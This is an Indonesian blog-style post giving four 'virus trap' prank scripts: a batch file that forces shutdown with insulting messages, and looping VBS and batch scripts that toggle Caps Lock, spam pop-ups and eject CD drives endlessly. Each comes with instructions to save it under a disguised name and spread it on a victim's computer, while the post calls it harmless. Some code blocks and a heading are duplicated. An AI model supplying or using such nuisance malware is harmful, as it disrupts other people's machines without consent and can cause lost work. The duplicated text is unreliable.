Kali ini saya akan mempostingkan salah satu cara untuk kalian semua , yaitu membuat JEBAKAN VIRUS !!!!! . Kenapa ini hanya sekedar jebakan ? Karena kalo kita menggunakan virus yang asli , kasihan dia :P . Buat virus ini mudah kok , cuma menggunakan Notepad saja . Dan yang penting ini gak bahaya loh ^_^ . Nah , berikut triknya:
1. Membuat Komputer Force Shut Down
- Buka Notepad ;
- Masukkan script dibawah ini :
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
- Simpan dengan nama file DBhack.BAT dan tipe All File ;
- Sebarkan di komputer Korban .
2. Membuat Tombol Caps Lock Menyala Terus
- Buka Notepad ;
- Masukkan script dibawah ini :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
- Simpan kode script tersebut , dengan nama file DBhack.VBS dan tipe All File ;
- Jangan lupa , sebarkan di komputer si korban .
3. Mengerjai dengan Pesan yang Muncul Terus Menerus
- Buka Notepad ;
- Masukkan kode script berikut ini :
@ECHO off
:Begin
msg * pesan kalian
msg * pesan kalian
msg * pesan kalian
msg * pesan kalian
msg * pesan kalian
GOTO BEGIN
:Begin
msg * pesan kalian
msg * pesan kalian
msg * pesan kalian
msg * pesan kalian
msg * pesan kalian
GOTO BEGIN
- Simpan dengan nama DBhack.BAT dan tipe All File
- Sebarkan di komputer si korban
[ Bila ingin menambah jumlah pesan , tinggal tambahkan saja { msg * pesan kalian } ]
4. Membuat CD-Rom Membuka dan Menutup Berulang Kali
4. Membuat CD-Rom Membuka dan Menutup Berulang Kali
- Buka Notepad ;
- Masukkan Script ini :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
- Simpan dengan nama DBhack.VBS dan Tipe All File;
- Sebarkan di komputer korban .